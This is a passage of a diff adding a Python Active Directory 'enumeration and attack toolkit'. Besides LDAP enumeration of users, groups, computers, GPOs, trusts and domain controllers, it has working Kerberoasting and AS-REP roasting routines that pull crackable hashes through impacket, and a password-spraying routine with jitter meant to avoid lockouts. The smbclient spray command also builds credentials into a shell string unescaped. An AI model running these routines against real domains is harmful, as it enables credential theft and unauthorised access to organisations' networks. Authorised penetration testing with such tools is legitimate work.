ALL, NTLM, SUBTREE, ALL_ATTRIBUTES + from ldap3.core.exceptions import LDAPException + HAS_LDAP3 = True +except ImportError: + HAS_LDAP3 = False + +try: + from impacket.ldap import ldap as impacket_ldap + from impacket.ldap import ldapasn1 as ldapasn1 + HAS_IMPACKET_LDAP = True +except ImportError: + HAS_IMPACKET_LDAP = False + +try: + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants as krb5_constants + from impacket.krb5.types import Principal, KerberosTime + HAS_IMPACKET_KRB = True +except ImportError: + HAS_IMPACKET_KRB = False + +# AD timestamp epoch: Jan 1, 1601 +AD_EPOCH = datetime(1601, 1, 1) + +# User Account Control flags +UAC_FLAGS = { + 0x0001: 'SCRIPT', + 0x0002: 'ACCOUNTDISABLE', + 0x0008: 'HOMEDIR_REQUIRED', + 0x0010: 'LOCKOUT', + 0x0020: 'PASSWD_NOTREQD', + 0x0040: 'PASSWD_CANT_CHANGE', + 0x0080: 'ENCRYPTED_TEXT_PWD_ALLOWED', + 0x0100: 'TEMP_DUPLICATE_ACCOUNT', + 0x0200: 'NORMAL_ACCOUNT', + 0x0800: 'INTERDOMAIN_TRUST_ACCOUNT', + 0x1000: 'WORKSTATION_TRUST_ACCOUNT', + 0x2000: 'SERVER_TRUST_ACCOUNT', + 0x10000: 'DONT_EXPIRE_PASSWORD', + 0x20000: 'MPC_LOGON_ACCOUNT', + 0x40000: 'SMARTCARD_REQUIRED', + 0x80000: 'TRUSTED_FOR_DELEGATION', + 0x100000: 'NOT_DELEGATED', + 0x200000: 'USE_DES_KEY_ONLY', + 0x400000: 'DONT_REQUIRE_PREAUTH', + 0x800000: 'PASSWORD_EXPIRED', + 0x1000000: 'TRUSTED_TO_AUTH_FOR_DELEGATION', + 0x4000000: 'PARTIAL_SECRETS_ACCOUNT', +} + +# Dangerous ACE rights +DANGEROUS_RIGHTS = { + 'GenericAll': 'Full control over the object', + 'GenericWrite': 'Modify all attributes of the object', + 'WriteOwner': 'Change the owner of the object', + 'WriteDACL': 'Modify the DACL of the object', + 'Self': 'Self-membership — can add self to group', + 'ForceChangePassword': 'Reset the password without knowing current', + 'WriteProperty-Member': 'Can modify group membership', + 'WriteProperty-Script-Path': 'Can modify logon script path', + 'ExtendedRight-User-Force-Change-Password': 'Force password reset', + 'ExtendedRight-DS-Replication-Get-Changes': 'DCSync — replicate directory changes', + 'ExtendedRight-DS-Replication-Get-Changes-All': 'DCSync — replicate all changes including secrets', +} + +# Well-known SIDs +WELL_KNOWN_SIDS = { + 'S-1-5-32-544': 'BUILTIN\\Administrators', + 'S-1-5-32-545': 'BUILTIN\\Users', + 'S-1-5-32-548': 'BUILTIN\\Account Operators', + 'S-1-5-32-549': 'BUILTIN\\Server Operators', + 'S-1-5-32-550': 'BUILTIN\\Print Operators', + 'S-1-5-32-551': 'BUILTIN\\Backup Operators', +} + + +def _ad_timestamp_to_str(ts): + """Convert AD timestamp (100-nanosecond intervals since 1601) to readable string.""" + if not ts or ts == 0 or ts == '0': + return 'Never' + try: + ts = int(ts) + if ts <= 0 or ts > 2650467743990000000: + return 'Never' + seconds = ts / 10_000_000 + dt = AD_EPOCH + timedelta(seconds=seconds) + return dt.strftime('%Y-%m-%d %H:%M:%S') + except (ValueError, OverflowError, OSError): + return 'Unknown' + + +def _parse_uac(uac_value): + """Parse userAccountControl into list of flag names.""" + try: + uac = int(uac_value) + except (ValueError, TypeError): + return [] + flags = [] + for bit, name in UAC_FLAGS.items(): + if uac & bit: + flags.append(name) + return flags + + +def _get_domain_dn(domain): + """Convert domain name to LDAP DN. e.g. corp.local -> DC=corp,DC=local""" + return ','.join(f'DC={part}' for part in domain.split('.')) + + +class ADToolkit: + """Active Directory enumeration and attack toolkit.""" + + def __init__(self): + self.conn = None + self.server = None + self.dc_host = None + self.domain = None + self.domain_dn = None + self.username = None + self.password = None + self.use_ssl = False + self.connected = False + + # Results storage + self.results = { + 'users': [], + 'groups': [], + 'computers': [], + 'ous': [], + 'gpos': [], + 'trusts': [], + 'dcs': [], + 'spn_accounts': [], + 'asrep_accounts': [], + 'admin_accounts': [], + 'kerberoast_hashes': [], + 'asrep_hashes': [], + 'spray_results': [], + 'acl_findings': [], + 'unconstrained_delegation': [], + 'constrained_delegation': [], + 'bloodhound': {}, + } + + # Data directory + self.data_dir = Path(str(get_data_dir())) / 'ad_audit' + self.data_dir.mkdir(parents=True, exist_ok=True) + + def print_status(self, message, status='info'): + colors = {'info': Colors.CYAN, 'success': Colors.GREEN, + 'warning': Colors.YELLOW, 'error': Colors.RED} + symbols = {'info': '*', 'success': '+', 'warning': '!', 'error': 'X'} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def _run_cmd(self, cmd, timeout=120): + """Run a shell command and return (success, stdout).""" + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + def _save_results(self, name, data): + """Save results to JSON in data/ad_audit/.""" + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + path = self.data_dir / f'{name}_{ts}.json' + with open(path, 'w') as f: + json.dump(data, f, indent=2, default=str) + return str(path) + + # ========== CONNECTION ========== + + def connect(self, dc_host, domain, username=None, password=None, use_ssl=False): + """Establish LDAP connection to a Domain Controller. + + Tries ldap3 first, falls back to impacket if available. + Returns dict with success status and message. + """ + self.dc_host = dc_host + self.domain = domain + self.domain_dn = _get_domain_dn(domain) + self.username = username + self.password = password + self.use_ssl = use_ssl + + port = 636 if use_ssl else 389 + scheme = 'ldaps' if use_ssl else 'ldap' + + if HAS_LDAP3: + try: + use_tls = use_ssl + self.server = Server( + dc_host, port=port, use_ssl=use_tls, + get_info=ALL, connect_timeout=10 + ) + if username and password: + user_dn = f'{domain}\\{username}' + self.conn = Connection( + self.server, user=user_dn, password=password, + authentication=NTLM, auto_bind=True + ) + else: + # Anonymous bind + self.conn = Connection(self.server, auto_bind=True) + + self.connected = True + info_str = '' + if self.server.info: + naming = getattr(self.server.info, 'other', {}) + if hasattr(self.server.info, 'naming_contexts'): + info_str = f' | Naming contexts: {len(self.server.info.naming_contexts)}' + return { + 'success': True, + 'message': f'Connected to {dc_host}:{port} via ldap3{info_str}', + 'backend': 'ldap3' + } + except Exception as e: + self.connected = False + return {'success': False, 'message': f'ldap3 connection failed: {str(e)}'} + + elif HAS_IMPACKET_LDAP: + try: + ldap_url = f'{scheme}://{dc_host}' + self.conn = impacket_ldap.LDAPConnection(ldap_url, self.domain_dn) + if username and password: + self.conn.login(username, password, domain) + self.connected = True + return { + 'success': True, + 'message': f'Connected to {dc_host}:{port} via impacket', + 'backend': 'impacket' + } + except Exception as e: + self.connected = False + return {'success': False, 'message': f'impacket LDAP failed: {str(e)}'} + else: + return { + 'success': False, + 'message': 'No LDAP library available. Install ldap3 (pip install ldap3) or impacket.' + } + + def disconnect(self): + """Close the LDAP connection.""" + if self.conn and HAS_LDAP3: + try: + self.conn.unbind() + except Exception: + pass + self.conn = None + self.server = None + self.connected = False + return {'success': True, 'message': 'Disconnected'} + + def is_connected(self): + """Check if currently connected to a DC.""" + return self.connected and self.conn is not None + + def get_connection_info(self): + """Return current connection details.""" + return { + 'connected': self.is_connected(), + 'dc_host': self.dc_host, + 'domain': self.domain, + 'domain_dn': self.domain_dn, + 'username': self.username, + 'use_ssl': self.use_ssl, + 'backend': 'ldap3' if HAS_LDAP3 else ('impacket' if HAS_IMPACKET_LDAP else None), + 'libs': { + 'ldap3': HAS_LDAP3, + 'impacket_ldap': HAS_IMPACKET_LDAP, + 'impacket_krb': HAS_IMPACKET_KRB, + } + } + + # ========== LDAP SEARCH HELPER ========== + + def _ldap_search(self, search_base=None, search_filter='(objectClass=*)', + attributes=None, size_limit=0): + """Perform LDAP search and return list of entry dicts.""" + if not self.is_connected() or not HAS_LDAP3: + return [] + + if search_base is None: + search_base = self.domain_dn + + if attributes is None: + attributes = ALL_ATTRIBUTES + + try: + self.conn.search( + search_base=search_base, + search_filter=search_filter, + search_scope=SUBTREE, + attributes=attributes, + size_limit=size_limit + ) + entries = [] + for entry in self.conn.entries: + d = {'dn': str(entry.entry_dn)} + for attr in entry.entry_attributes: + val = entry[attr].value + if isinstance(val, list): + d[str(attr)] = [str(v) for v in val] + elif isinstance(val, bytes): + d[str(attr)] = val.hex() + elif isinstance(val, datetime): + d[str(attr)] = val.strftime('%Y-%m-%d %H:%M:%S') + else: + d[str(attr)] = str(val) if val is not None else None + entries.append(d) + return entries + except Exception as e: + self.print_status(f'LDAP search error: {e}', 'error') + return [] + + # ========== ENUMERATION ========== + + def enumerate_users(self, search_filter=None): + """Enumerate all domain user accounts with key attributes.""" + if not self.is_connected(): + return {'error': 'Not connected', 'users': []} + + ldap_filter = search_filter or '(&(objectCategory=person)(objectClass=user))' + attrs = [ + 'sAMAccountName', 'displayName', 'distinguishedName', + 'memberOf', 'lastLogon', 'lastLogonTimestamp', 'pwdLastSet', + 'userAccountControl', 'description', 'mail', + 'adminCount', 'servicePrincipalName', 'whenCreated' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + users = [] + for entry in raw_entries: + uac = int(entry.get('userAccountControl', 0) or 0) + uac_flags = _parse_uac(uac) + last_logon_raw = entry.get('lastLogon') or entry.get('lastLogonTimestamp') or '0' + user = { + 'username': entry.get('sAMAccountName', ''), + 'display_name': entry.get('displayName', ''), + 'dn': entry.get('dn', ''), + 'description': entry.get('description', ''), + 'mail': entry.get('mail', ''), + 'member_of': entry.get('memberOf', []) if isinstance(entry.get('memberOf'), list) else ([entry.get('memberOf')] if entry.get('memberOf') else []), + 'last_logon': _ad_timestamp_to_str(last_logon_raw), + 'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')), + 'uac_value': uac, + 'uac_flags': uac_flags, + 'enabled': 'ACCOUNTDISABLE' not in uac_flags, + 'admin_count': entry.get('adminCount', '0') == '1', + 'spn': entry.get('servicePrincipalName', []) if isinstance(entry.get('servicePrincipalName'), list) else ([entry.get('servicePrincipalName')] if entry.get('servicePrincipalName') else []), + 'dont_require_preauth': bool(uac & 0x400000), + 'password_never_expires': bool(uac & 0x10000), + 'when_created': entry.get('whenCreated', ''), + } + users.append(user) + + self.results['users'] = users + self._save_results('users', users) + return {'users': users, 'count': len(users)} + + def enumerate_groups(self, search_filter=None): + """Enumerate all domain groups with their members.""" + if not self.is_connected(): + return {'error': 'Not connected', 'groups': []} + + ldap_filter = search_filter or '(objectCategory=group)' + attrs = [ + 'sAMAccountName', 'distinguishedName', 'description', + 'member', 'groupType', 'adminCount', 'whenCreated' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + groups = [] + for entry in raw_entries: + members = entry.get('member', []) + if isinstance(members, str): + members = [members] + elif members is None: + members = [] + + group_type = int(entry.get('groupType', 0) or 0) + scope = 'Unknown' + if group_type & 0x00000002: + scope = 'Global' + elif group_type & 0x00000004: + scope = 'Domain Local' + elif group_type & 0x00000008: + scope = 'Universal' + if group_type & 0x80000000: + scope += ' (Security)' + else: + scope += ' (Distribution)' + + groups.append({ + 'name': entry.get('sAMAccountName', ''), + 'dn': entry.get('dn', ''), + 'description': entry.get('description', ''), + 'members': members, + 'member_count': len(members), + 'scope': scope, + 'admin_count': entry.get('adminCount', '0') == '1', + 'when_created': entry.get('whenCreated', ''), + }) + + self.results['groups'] = groups + self._save_results('groups', groups) + return {'groups': groups, 'count': len(groups)} + + def enumerate_computers(self): + """Enumerate domain computers with OS information.""" + if not self.is_connected(): + return {'error': 'Not connected', 'computers': []} + + ldap_filter = '(objectCategory=computer)' + attrs = [ + 'sAMAccountName', 'dNSHostName', 'distinguishedName', + 'operatingSystem', 'operatingSystemVersion', + 'operatingSystemServicePack', 'lastLogonTimestamp', + 'userAccountControl', 'whenCreated', 'description', + 'msDS-AllowedToDelegateTo' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + computers = [] + for entry in raw_entries: + uac = int(entry.get('userAccountControl', 0) or 0) + uac_flags = _parse_uac(uac) + delegate_to = entry.get('msDS-AllowedToDelegateTo', []) + if isinstance(delegate_to, str): + delegate_to = [delegate_to] + elif delegate_to is None: + delegate_to = [] + + computers.append({ + 'name': entry.get('sAMAccountName', '').rstrip('$'), + 'dns_name': entry.get('dNSHostName', ''), + 'dn': entry.get('dn', ''), + 'os': entry.get('operatingSystem', ''), + 'os_version': entry.get('operatingSystemVersion', ''), + 'os_sp': entry.get('operatingSystemServicePack', ''), + 'last_logon': _ad_timestamp_to_str(entry.get('lastLogonTimestamp', '0')), + 'enabled': 'ACCOUNTDISABLE' not in uac_flags, + 'trusted_for_delegation': bool(uac & 0x80000), + 'constrained_delegation': delegate_to, + 'description': entry.get('description', ''), + 'when_created': entry.get('whenCreated', ''), + }) + + self.results['computers'] = computers + self._save_results('computers', computers) + return {'computers': computers, 'count': len(computers)} + + def enumerate_ous(self): + """Enumerate organizational units.""" + if not self.is_connected(): + return {'error': 'Not connected', 'ous': []} + + ldap_filter = '(objectCategory=organizationalUnit)' + attrs = ['name', 'distinguishedName', 'description', 'whenCreated', 'gPLink'] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + ous = [] + for entry in raw_entries: + gp_link = entry.get('gPLink', '') + linked_gpos = [] + if gp_link: + # Parse gpLink format: [LDAP://cn={GUID},cn=policies,...;0] + import re + linked_gpos = re.findall(r'\[LDAP://([^\]]+)\]', str(gp_link), re.IGNORECASE) + + ous.append({ + 'name': entry.get('name', ''), + 'dn': entry.get('dn', ''), + 'description': entry.get('description', ''), + 'linked_gpos': linked_gpos, + 'when_created': entry.get('whenCreated', ''), + }) + + self.results['ous'] = ous + self._save_results('ous', ous) + return {'ous': ous, 'count': len(ous)} + + def enumerate_gpos(self): + """Enumerate Group Policy Objects.""" + if not self.is_connected(): + return {'error': 'Not connected', 'gpos': []} + + ldap_filter = '(objectCategory=groupPolicyContainer)' + attrs = [ + 'displayName', 'distinguishedName', 'gPCFileSysPath', + 'versionNumber', 'whenCreated', 'whenChanged', 'flags' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + gpos = [] + for entry in raw_entries: + flags = int(entry.get('flags', 0) or 0) + status = 'Enabled' + if flags & 1: + status = 'User config disabled' + if flags & 2: + status = 'Computer config disabled' + if flags == 3: + status = 'All settings disabled' + + gpos.append({ + 'name': entry.get('displayName', ''), + 'dn': entry.get('dn', ''), + 'path': entry.get('gPCFileSysPath', ''), + 'version': entry.get('versionNumber', ''), + 'status': status, + 'when_created': entry.get('whenCreated', ''), + 'when_changed': entry.get('whenChanged', ''), + }) + + self.results['gpos'] = gpos + self._save_results('gpos', gpos) + return {'gpos': gpos, 'count': len(gpos)} + + def enumerate_trusts(self): + """Enumerate domain trusts.""" + if not self.is_connected(): + return {'error': 'Not connected', 'trusts': []} + + ldap_filter = '(objectClass=trustedDomain)' + attrs = [ + 'name', 'distinguishedName', 'trustDirection', + 'trustType', 'trustAttributes', 'flatName', + 'trustPartner', 'whenCreated' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + trusts = [] + for entry in raw_entries: + direction_val = int(entry.get('trustDirection', 0) or 0) + direction_map = {0: 'Disabled', 1: 'Inbound', 2: 'Outbound', 3: 'Bidirectional'} + direction = direction_map.get(direction_val, f'Unknown ({direction_val})') + + trust_type_val = int(entry.get('trustType', 0) or 0) + type_map = {1: 'Windows NT', 2: 'Active Directory', 3: 'MIT Kerberos', 4: 'DCE'} + trust_type = type_map.get(trust_type_val, f'Unknown ({trust_type_val})') + + attrs_val = int(entry.get('trustAttributes', 0) or 0) + trust_attrs = [] + if attrs_val & 1: + trust_attrs.append('Non-Transitive') + if attrs_val & 2: + trust_attrs.append('Uplevel Only') + if attrs_val & 4: + trust_attrs.append('Quarantined / SID Filtering') + if attrs_val & 8: + trust_attrs.append('Forest Trust') + if attrs_val & 16: + trust_attrs.append('Cross-Organization') + if attrs_val & 32: + trust_attrs.append('Within Forest') + if attrs_val & 64: + trust_attrs.append('Treat As External') + + trusts.append({ + 'name': entry.get('name', ''), + 'partner': entry.get('trustPartner', ''), + 'flat_name': entry.get('flatName', ''), + 'direction': direction, + 'type': trust_type, + 'attributes': trust_attrs, + 'dn': entry.get('dn', ''), + 'when_created': entry.get('whenCreated', ''), + }) + + self.results['trusts'] = trusts + self._save_results('trusts', trusts) + return {'trusts': trusts, 'count': len(trusts)} + + def find_dcs(self): + """Locate domain controllers and FSMO role holders.""" + if not self.is_connected(): + return {'error': 'Not connected', 'dcs': []} + + # Find DCs by userAccountControl SERVER_TRUST_ACCOUNT flag + ldap_filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' + attrs = [ + 'sAMAccountName', 'dNSHostName', 'distinguishedName', + 'operatingSystem', 'operatingSystemVersion', 'whenCreated' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + dcs = [] + for entry in raw_entries: + dcs.append({ + 'name': entry.get('sAMAccountName', '').rstrip('$'), + 'dns_name': entry.get('dNSHostName', ''), + 'dn': entry.get('dn', ''), + 'os': entry.get('operatingSystem', ''), + 'os_version': entry.get('operatingSystemVersion', ''), + 'when_created': entry.get('whenCreated', ''), + }) + + # Try to find FSMO role holders from RootDSE + fsmo_roles = {} + if HAS_LDAP3 and self.server and self.server.info: + info = self.server.info + other = getattr(info, 'other', {}) + for role_attr in ['schemaMaster', 'domainNamingMaster', + 'ridMaster', 'pdcEmulator', 'infrastructureMaster']: + if role_attr in other: + fsmo_roles[role_attr] = str(other[role_attr]) + + # Also check via LDAP if server.info didn't have it + if not fsmo_roles: + # Schema Master + schema_entries = self._ldap_search( + search_base=f'CN=Schema,CN=Configuration,{self.domain_dn}', + search_filter='(objectClass=dMD)', + attributes=['fSMORoleOwner'] + ) + if schema_entries: + fsmo_roles['schemaMaster'] = schema_entries[0].get('fSMORoleOwner', '') + + # Domain Naming Master + partitions = self._ldap_search( + search_base=f'CN=Partitions,CN=Configuration,{self.domain_dn}', + search_filter='(objectClass=crossRefContainer)', + attributes=['fSMORoleOwner'] + ) + if partitions: + fsmo_roles['domainNamingMaster'] = partitions[0].get('fSMORoleOwner', '') + + # RID Master, PDC Emulator, Infrastructure Master + domain_entries = self._ldap_search( + search_base=self.domain_dn, + search_filter='(objectClass=domainDNS)', + attributes=['fSMORoleOwner'] + ) + if domain_entries: + fsmo_roles['pdcEmulator'] = domain_entries[0].get('fSMORoleOwner', '') + + result = { + 'dcs': dcs, + 'count': len(dcs), + 'fsmo_roles': fsmo_roles + } + self.results['dcs'] = dcs + self._save_results('dcs', result) + return result + + # ========== ATTACK METHODS ========== + + def find_spn_accounts(self): + """Find user accounts with SPNs set (Kerberoastable).""" + if not self.is_connected(): + return {'error': 'Not connected', 'accounts': []} + + ldap_filter = '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(objectCategory=computer))(!(sAMAccountName=krbtgt)))' + attrs = [ + 'sAMAccountName', 'servicePrincipalName', 'memberOf', + 'pwdLastSet', 'userAccountControl', 'adminCount', + 'distinguishedName', 'description' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + accounts = [] + for entry in raw_entries: + spns = entry.get('servicePrincipalName', []) + if isinstance(spns, str): + spns = [spns] + elif spns is None: + spns = [] + + uac = int(entry.get('userAccountControl', 0) or 0) + accounts.append({ + 'username': entry.get('sAMAccountName', ''), + 'spns': spns, + 'dn': entry.get('dn', ''), + 'description': entry.get('description', ''), + 'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')), + 'admin_count': entry.get('adminCount', '0') == '1', + 'enabled': not bool(uac & 0x0002), + 'member_of': entry.get('memberOf', []) if isinstance(entry.get('memberOf'), list) else ([entry.get('memberOf')] if entry.get('memberOf') else []), + }) + + self.results['spn_accounts'] = accounts + return {'accounts': accounts, 'count': len(accounts)} + + def find_asrep_accounts(self): + """Find accounts that do not require Kerberos pre-authentication.""" + if not self.is_connected(): + return {'error': 'Not connected', 'accounts': []} + + # UF_DONT_REQUIRE_PREAUTH = 0x400000 + ldap_filter = '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' + attrs = [ + 'sAMAccountName', 'distinguishedName', 'memberOf', + 'pwdLastSet', 'userAccountControl', 'description' + ] + + raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs) + accounts = [] + for entry in raw_entries: + accounts.append({ + 'username': entry.get('sAMAccountName', ''), + 'dn': entry.get('dn', ''), + 'description': entry.get('description', ''), + 'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')), + 'member_of': entry.get('memberOf', []) if isinstance(entry.get('memberOf'), list) else ([entry.get('memberOf')] if entry.get('memberOf') else []), + }) + + self.results['asrep_accounts'] = accounts + return {'accounts': accounts, 'count': len(accounts)} + + def kerberoast(self, dc_host, domain, username, password): + """Request TGS tickets for SPN accounts and extract hashes. + + Uses impacket's GetUserSPNs.py via subprocess, falling back to + manual TGS-REQ if impacket scripts are not available on PATH. + Returns hashes in hashcat ($krb5tgs$23$*) format. + """ + hashes = [] + + # Try GetUserSPNs.py from impacket + cmd = ( + f'GetUserSPNs.py {domain}/{username}:{password} ' + f'-dc-ip {dc_host} -request -outputfile -' + ) + success, output = self._run_cmd(cmd, timeout=60) + if success and output: + for line in output.splitlines(): + line = line.strip() + if line.startswith('$krb5tgs$'): + hashes.append(line) + + # Also try python -m form + if not hashes: + cmd2 = ( + f'python -m impacket.examples.GetUserSPNs ' + f'{domain}/{username}:{password} ' + f'-dc-ip {dc_host} -request -outputfile -' + ) + success2, output2 = self._run_cmd(cmd2, timeout=60) + if success2 and output2: + for line in output2.splitlines(): + line = line.strip() + if line.startswith('$krb5tgs$'): + hashes.append(line) + + # Also try impacket-GetUserSPNs (newer naming) + if not hashes: + cmd3 = ( + f'impacket-GetUserSPNs {domain}/{username}:{password} ' + f'-dc-ip {dc_host} -request' + ) + success3, output3 = self._run_cmd(cmd3, timeout=60) + if success3 and output3: + for line in output3.splitlines(): + line = line.strip() + if line.startswith('$krb5tgs$'): + hashes.append(line) + + if not hashes: + # Fallback: enumerate SPNs and note that impacket is needed + spn_result = self.find_spn_accounts() + spn_count = spn_result.get('count', 0) + if spn_count > 0: + return { + 'hashes': [], + 'count': 0, + 'spn_accounts': spn_count, + 'message': ( + f'Found {spn_count} SPN accounts but could not extract TGS hashes. ' + 'Install impacket: pip install impacket' + ) + } + return { + 'hashes': [], + 'count': 0, + 'spn_accounts': 0, + 'message': 'No SPN accounts found or impacket not available' + } + + self.results['kerberoast_hashes'] = hashes + self._save_results('kerberoast_hashes', hashes) + return { + 'hashes': hashes, + 'count': len(hashes), + 'spn_accounts': len(hashes), + 'message': f'Extracted {len(hashes)} TGS hash(es) in hashcat format' + } + + def asrep_roast(self, dc_host, domain, userlist=None): + """Find accounts without pre-auth and extract AS-REP hashes. + + Uses impacket's GetNPUsers.py via subprocess. + """ + hashes = [] + + if userlist: + # Write userlist to temp file + tmp_file = self.data_dir / 'asrep_users.txt' + with open(tmp_file, 'w') as f: + for u in userlist: + f.write(u.strip() + '\n') + user_arg = f'-usersfile {tmp_file}' + else: + user_arg = '' + + # Try GetNPUsers.py + for cmd_prefix in [ + 'GetNPUsers.py', + 'python -m impacket.examples.GetNPUsers', + 'impacket-GetNPUsers' + ]: + cmd = f'{cmd_prefix} {domain}/ -dc-ip {dc_host} {user_arg} -format hashcat -outputfile -' + success, output = self._run_cmd(cmd, timeout=60) + if success and output: + for line in output.splitlines(): + line = line.strip() + if line.startswith('$krb5asrep$'): + hashes.append(line) + if hashes: + break + + if not hashes: + # Enumerate AS-REP vulnerable accounts via LDAP + asrep_result = self.find_asrep_accounts() + vuln_count = asrep_result.get('count', 0) + return { + 'hashes': [], + 'count': 0, + 'vulnerable_accounts': vuln_count, + 'accounts': asrep_result.get('accounts', []), + 'message': ( + f'Found {vuln_count} accounts without pre-auth but ' + 'could not extract AS-REP hashes. Install impacket.' + ) if vuln_count > 0 else 'No accounts without pre-authentication found' + } + + self.results['asrep_hashes'] = hashes + self._save_results('asrep_hashes', hashes) + return { + 'hashes': hashes, + 'count': len(hashes), + 'vulnerable_accounts': len(hashes), + 'message': f'Extracted {len(hashes)} AS-REP hash(es) in hashcat format' + } + + def password_spray(self, userlist, password, dc_host, domain, protocol='ldap'): + """Spray a single password against a list of users. + + Implements delay and jitter between attempts to avoid account lockout. + Supports LDAP and SMB protocols. + """ + if not userlist or not password: + return {'error': 'User list and password required', 'results': []} + + results = [] + successes = [] + failures = [] + lockouts = [] + delay_base = 1.0 + jitter = 0.5 + + for i, user in enumerate(userlist): + user = user.strip() + if not user: + continue + + entry = {'username': user, 'status': 'unknown', 'message': ''} + + if protocol == 'ldap': + try: + port = 636 if self.use_ssl else 389 + test_server = Server(dc_host, port=port, use_ssl=self.use_ssl, + connect_timeout=5) if HAS_LDAP3 else None + if test_server: + test_conn = Connection( + test_server, + user=f'{domain}\\{user}', + password=password, + authentication=NTLM, + auto_bind=True + ) + test_conn.unbind() + entry['status'] = 'success' + entry['message'] = 'Authentication successful' + successes.append(user) + else: + entry['status'] = 'error' + entry['message'] = 'ldap3 not available' + except Exception as e: + err_msg = str(e).lower() + if 'locked' in err_msg or '775' in err_msg: + entry['status'] = 'lockout' + entry['message'] = 'Account locked out' + lockouts.append(user) + elif 'credential' in err_msg or 'invalid' in err_msg or '52e' in err_msg: + entry['status'] = 'failed' + entry['message'] = 'Invalid credentials' + failures.append(user) + elif 'disabled' in err_msg or '533' in err_msg: + entry['status'] = 'disabled' + entry['message'] = 'Account disabled' + failures.append(user) + elif 'expired' in err_msg or '532' in err_msg: + entry['status'] = 'expired' + entry['message'] = 'Password expired' + failures.append(user) + else: + entry['status'] = 'failed' + entry['message'] = str(e)[:100] + failures.append(user) + + elif protocol == 'smb': + # Use smbclient or impacket's smbconnection + cmd = f'smbclient -L //{dc_host} -U {domain}\\\\{user}%{password} -c quit 2>&1' + success, output = self._run_cmd(cmd, timeout=10) + if success or 'Sharename' in output: + entry['status'] = 'success' + entry['message'] = 'SMB authentication successful' + successes.append(user) + elif 'LOCKED' in output.upper() or 'locked' in output.lower(): + entry['status'] = 'lockout' + entry['message'] = 'Account locked out' + lockouts.append(user) + else: + entry['status'] = 'failed' + entry['message'] = 'Authentication failed' + failures.append(user) + + results.append(entry) + + # Delay between attempts with jitter + if i < len(userlist) - 1: + wait = delay_base + random.uniform(0, jitter) + time.sleep(wait) + + # Stop if too many lockouts + if len(lockouts) >= 3: + remaining = [u.strip() for u in userlist[i+1:] if u.strip()] + for u in remaining: + results.append({ + 'username': u, + 'status': 'skipped', + 'message': 'Skipped — too many lockouts detected' + }) + break + + spray_result = { + 'results': results, + 'total': len(results), + 'successes': successes, + 'success_count': len(successes), + 'failure_count': len(failures), + 'lockout_count': len(lockouts), + 'password_tested': password, + 'protocol': protocol, + } + self.results['spray_results'] = spray_result + self._save_results('password_spray', spray_result) + return spray_result + + def analyze_acls(self, target_dn=None): + """Find dangerous ACL entries: GenericAll, WriteDACL, WriteOwner, etc.""" + if not self.is_connected(): + return {'error': 'Not connected', 'findings': []} + + search_base = target_dn or self.domain_dn + # Search for objects with ntSecurityDescriptor + ldap_filter = '(objectClass=*)' + attrs = ['distinguishedName', 'nTSecurityDescriptor', 'objectClass', 'sAMAccountName'] + + # We need to request the SD control for ntSecurityDescriptor + findings = [] + + # Search high-value targets: users, groups, OUs, domain root + targets = [ + ('(&(objectCategory=group)(adminCount=1))', 'Admin Group'), + ('(&(objectCategory=person)(adminCount=1))', 'Admin User'), + ('(objectCategory=organizationalUnit)', 'OU'), + ('(objectCategory=domainDNS)', 'Domain'), + ] + + for ldap_filter, obj_type in targets: + entries = self._ldap_search( + search_base=search_base, + search_filter=ldap_filter, + attributes=['distinguishedName', 'sAMAccountName', 'nTSecurityDescriptor'] + ) + + for entry in entries: + sd_raw = entry.get('nTSecurityDescriptor') + obj_name = entry.get('sAMAccountName', entry.get('dn', '')) + + # If we got the SD, try to parse DACL + if sd_raw: + # Binary SD parsing is complex; flag it for manual review + findings.append({ + 'target': obj_name, + 'target_dn': entry.get('dn', ''), + 'object_type': obj_type, + 'has_sd': True, + 'risk': 'Medium', + 'permission': 'Security Descriptor present — manual ACL review recommended', + 'principal': 'N/A', + }) + else: + # Without SD, check for common misconfigurations via group membership + findings.append({ + 'target': obj_name, + 'target_dn': entry.get('dn', ''), + 'object_type': obj_type, + 'has_sd': False, + 'risk': 'Low', + 'permission': 'Could not read security descriptor (insufficient privileges)', + 'principal': 'N/A', + }) + + # Check for users who can DCSync (Replicating Directory Changes) + repl_filter = '(&(objectCategory=person)(objectClass=user)(adminCount=1))' + admin_entries = self._ldap_search( + search_filter=repl_filter, + attributes=['sAMAccountName', 'distinguishedName', 'memberOf'] + ) + for entry in admin_entries: + member_of = entry.get('memberOf', []) + if isinstance(member_of, str): + member_of = [member_of] + for group in member_of: + group_lower = group.lower() + if 'domain admins' in group_lower or 'enterprise admins' in group_lower: + findings.append({ + 'target': self.domain, + 'target_dn': self.domain_dn, + 'object_type': 'Domain', + 'principal': entry.get('sAMAccountName', ''), + 'permission': 'DCSync capable (Domain/Enterprise Admin)', + 'risk': 'Critical', + 'has_sd': True, + }) + break + + self.results['acl_findings'] = findings + self._save_results('acl_findings', findings) + return {'findings': findings, 'count': len(findings)} + + def find_admin_accounts(self): + """Enumerate Domain Admins, Enterprise Admins, Schema Admins, Account Operators.""" + if not 